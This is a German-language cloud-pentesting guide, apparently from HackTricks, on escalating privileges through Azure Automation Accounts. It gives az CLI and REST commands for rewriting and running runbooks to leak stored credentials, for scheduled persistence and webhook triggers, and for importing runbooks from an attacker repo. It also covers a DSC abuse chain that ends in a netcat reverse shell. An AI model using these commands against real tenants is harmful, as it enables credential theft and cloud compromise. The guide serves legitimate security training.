Az - Azure Automation Accounts Privesc

Reading time: 11 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Azure Automation Accounts

Für weitere Informationen siehe:

Az - Automation Accounts

Hybrid Workers Group

  • Vom Automatisierungskonto zur VM

Denke daran, dass ein Angreifer, wenn er irgendwie ein beliebiges Runbook (beliebiger Code) in einem hybriden Worker ausführen kann, zum Standort der VM pivotieren wird. Dies könnte eine lokale Maschine, ein VPC einer anderen Cloud oder sogar eine Azure-VM sein.

Darüber hinaus, wenn der hybride Worker in Azure mit anderen angehängten verwalteten Identitäten läuft, wird das Runbook in der Lage sein, auf die verwaltete Identität des Runbooks und alle verwalteten Identitäten der VM über den Metadatenservice zuzugreifen.

tip

Denke daran, dass der Metadatenservice eine andere URL hat (http://169.254.169.254) als der Dienst, von dem das Token der verwalteten Identitäten des Automatisierungskontos abgerufen wird (IDENTITY_ENDPOINT).

  • Von der VM zum Automatisierungskonto

Darüber hinaus, wenn jemand eine VM kompromittiert, auf der ein Skript des Automatisierungskontos läuft, wird er in der Lage sein, die Metadaten des Automatisierungskontos zu lokalisieren und von der VM aus darauf zuzugreifen, um Tokens für die verwalteten Identitäten zu erhalten, die dem Automatisierungskonto zugeordnet sind.

Wie im folgenden Bild zu sehen ist, ist es mit Administratorzugriff auf die VM möglich, in den Umgebungsvariablen des Prozesses die URL und das Geheimnis zum Zugriff auf den Metadatenservice des Automatisierungskontos zu finden:

Microsoft.Automation/automationAccounts/jobs/write, Microsoft.Automation/automationAccounts/runbooks/draft/write, Microsoft.Automation/automationAccounts/jobs/output/read, Microsoft.Automation/automationAccounts/runbooks/publish/action (Microsoft.Resources/subscriptions/resourcegroups/read, Microsoft.Automation/automationAccounts/runbooks/write)

Zusammenfassend ermöglichen diese Berechtigungen das Erstellen, Ändern und Ausführen von Runbooks im Automatisierungskonto, die du verwenden könntest, um Code im Kontext des Automatisierungskontos auszuführen und Privilegien auf die zugewiesenen verwalteten Identitäten zu eskalieren sowie Anmeldeinformationen und verschlüsselte Variablen zu leaken, die im Automatisierungskonto gespeichert sind.

Die Berechtigung Microsoft.Automation/automationAccounts/runbooks/draft/write ermöglicht es, den Code eines Runbooks im Automatisierungskonto zu ändern mit:

bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'

Beachten Sie, wie das vorherige Skript verwendet werden kann, um den Benutzernamen und das Passwort einer Anmeldeinformation sowie den Wert einer verschlüsselten Variablen zu leaken, die im Automation Account gespeichert ist.

Die Berechtigung Microsoft.Automation/automationAccounts/runbooks/publish/action ermöglicht es dem Benutzer, ein Runbook im Automation Account zu veröffentlichen, sodass die Änderungen angewendet werden.

bash
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>

Die Berechtigung Microsoft.Automation/automationAccounts/jobs/write ermöglicht es dem Benutzer, ein Runbook im Automatisierungskonto auszuführen mit:

bash
az automation runbook start \
--automation-account-name <account-name> \
--resource-group <res-group> \
--name <runbook-name> \
[--run-on <name-hybrid-group>]

Die Berechtigung Microsoft.Automation/automationAccounts/jobs/output/read ermöglicht es dem Benutzer, die Ausgabe eines Jobs im Automatisierungskonto zu lesen mit:

bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"

Wenn keine Runbooks erstellt wurden oder Sie ein neues erstellen möchten, benötigen Sie die Berechtigungen Microsoft.Resources/subscriptions/resourcegroups/read und Microsoft.Automation/automationAccounts/runbooks/write, um dies zu tun mit:

bash
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell

Microsoft.Automation/automationAccounts/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Diese Berechtigung ermöglicht es dem Benutzer, eine benutzerverwaltete Identität dem Automatisierungskonto zuzuweisen mit:

bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
--headers "Content-Type=application/json" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
}
}
}'

Microsoft.Automation/automationAccounts/schedules/write, Microsoft.Automation/automationAccounts/jobSchedules/write

Mit der Berechtigung Microsoft.Automation/automationAccounts/schedules/write ist es möglich, einen neuen Zeitplan im Automatisierungskonto zu erstellen, der alle 15 Minuten ausgeführt wird (nicht sehr stealth), indem der folgende Befehl verwendet wird.

Beachten Sie, dass das minimale Intervall für einen Zeitplan 15 Minuten beträgt und die minimale Startzeit 5 Minuten in der Zukunft liegt.

bash
## For linux
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every minute" \
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15

## Form macOS
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every 15 minutes" \
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15

Dann ist es mit der Berechtigung Microsoft.Automation/automationAccounts/jobSchedules/write möglich, einen Scheduler einem Runbook zuzuweisen, indem man:

bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"runOn": "",
"runbook": {
"name": "<runbook-name>"
},
"schedule": {
"name": "<scheduler-name>>"
},
"parameters": {}
}
}'

tip

Im vorherigen Beispiel wurde die Jobplan-ID als b510808a-8fdc-4509-a115-12cfc3a2ad0d als Beispiel belassen, aber Sie müssen einen beliebigen Wert verwenden, um diese Zuweisung zu erstellen.

Microsoft.Automation/automationAccounts/webhooks/write

Mit der Berechtigung Microsoft.Automation/automationAccounts/webhooks/write ist es möglich, einen neuen Webhook für ein Runbook innerhalb eines Automation-Kontos mit dem folgenden Befehl zu erstellen.

bash
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true

Dieser Befehl sollte eine Webhook-URI zurückgeben, die nur bei der Erstellung angezeigt wird. Um dann das Runbook mit der Webhook-URI aufzurufen

bash
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"

Microsoft.Automation/automationAccounts/runbooks/draft/write

Nur mit der Berechtigung Microsoft.Automation/automationAccounts/runbooks/draft/write ist es möglich, den Code eines Runbooks zu aktualisieren, ohne es zu veröffentlichen, und es mit den folgenden Befehlen auszuführen.

bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content 'echo "Hello World"'

# Run the unpublished code
## Indicate the name of the hybrid worker group in runOn to execute the runbook there
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
--headers "Content-Type=application/json" \
--body '{
"parameters": {},
"runOn": "",
"runtimeEnvironment": "PowerShell-5.1"
}'

# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"

Microsoft.Automation/automationAccounts/sourceControls/write, (Microsoft.Automation/automationAccounts/sourceControls/read)

Diese Berechtigung ermöglicht es dem Benutzer, eine Quellsteuerung für das Automatisierungskonto zu konfigurieren, indem er Befehle wie die folgenden verwendet (dies verwendet Github als Beispiel):

bash
az automation source-control create \
--resource-group <res-group> \
--automation-account-name <automation-account-name> \
--name RemoteGithub \
--repo-url https://github.com/carlospolop/gh-runbooks.git \
--branch main \
--folder-path /runbooks/ \
--publish-runbook true \
--auto-sync \
--source-type GitHub \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>

Dies wird automatisch die Runbooks aus dem Github-Repository in das Automation-Konto importieren, und mit einigen anderen Berechtigungen, um sie auszuführen, wäre es möglich, Privilegien zu eskalieren.

Außerdem denken Sie daran, dass für die Quellkontrolle in Automation-Konten eine verwaltete Identität mit der Rolle Contributor erforderlich ist, und wenn es sich um eine benutzerverwaltete Identität handelt, muss die Client-ID der MI in der Variablen AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID angegeben werden.

tip

Beachten Sie, dass es nicht möglich ist, die Repo-URL einer Quellkontrolle zu ändern, sobald sie erstellt wurde.

Microsoft.Automation/automationAccounts/variables/write

Mit der Berechtigung Microsoft.Automation/automationAccounts/variables/write ist es möglich, Variablen im Automation-Konto mit dem folgenden Befehl zu schreiben.

bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
--headers "Content-Type=application/json" \
--body '{
"name": "<variable-name>",
"properties": {
"description": "",
"value": "\"<variable-value>\"",
"isEncrypted": false
}
}'

Benutzerdefinierte Laufzeitumgebungen

Wenn ein Automatisierungskonto eine benutzerdefinierte Laufzeitumgebung verwendet, könnte es möglich sein, ein benutzerdefiniertes Paket der Laufzeit mit schädlichem Code (wie einer Hintertür) zu überschreiben. Auf diese Weise wird der schädliche Code jedes Mal ausgeführt, wenn ein Runbook, das diese benutzerdefinierte Laufzeit verwendet, ausgeführt wird und das benutzerdefinierte Paket lädt.

Kompromittierung der Statuskonfiguration

Überprüfen Sie den vollständigen Beitrag unter: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe

  • Schritt 1 — Dateien erstellen

Benötigte Dateien: Zwei PowerShell-Skripte sind erforderlich:

  1. reverse_shell_config.ps1: Eine Desired State Configuration (DSC)-Datei, die die Nutzlast abruft und ausführt. Sie ist von GitHub erhältlich.
  2. push_reverse_shell_config.ps1: Ein Skript, um die Konfiguration auf die VM zu veröffentlichen, verfügbar auf GitHub.

Anpassung: Variablen und Parameter in diesen Dateien müssen an die spezifische Umgebung des Benutzers angepasst werden, einschließlich Ressourcennamen, Dateipfaden und Server-/Nutzlast-Identifikatoren.

  • Schritt 2 — Konfigurationsdatei zippen

Die reverse_shell_config.ps1 wird in eine .zip-Datei komprimiert, um sie für die Übertragung zum Azure Storage Account vorzubereiten.

bash
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
  • Schritt 3 — Speicher-Kontext festlegen & hochladen

Die gezippte Konfigurationsdatei wird in einen vordefinierten Azure Storage-Container, azure-pentest, mit dem Azure-Befehl Set-AzStorageBlobContent hochgeladen.

bash
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
  • Schritt 4 — Kali Box vorbereiten

Der Kali-Server lädt die RevPS.ps1 Payload aus einem GitHub-Repository herunter.

bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1

Das Skript wird bearbeitet, um die Ziel-Windows-VM und den Port für die Reverse-Shell anzugeben.

  • Schritt 5 — Konfigurationsdatei veröffentlichen

Die Konfigurationsdatei wird ausgeführt, was dazu führt, dass das Reverse-Shell-Skript an dem angegebenen Ort auf der Windows-VM bereitgestellt wird.

  • Schritt 6 — Payload hosten und Listener einrichten

Ein Python SimpleHTTPServer wird gestartet, um die Payload zu hosten, zusammen mit einem Netcat-Listener, um eingehende Verbindungen zu erfassen.

bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443

Die geplante Aufgabe führt die Nutzlast aus und erreicht SYSTEM-Ebene Berechtigungen.

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks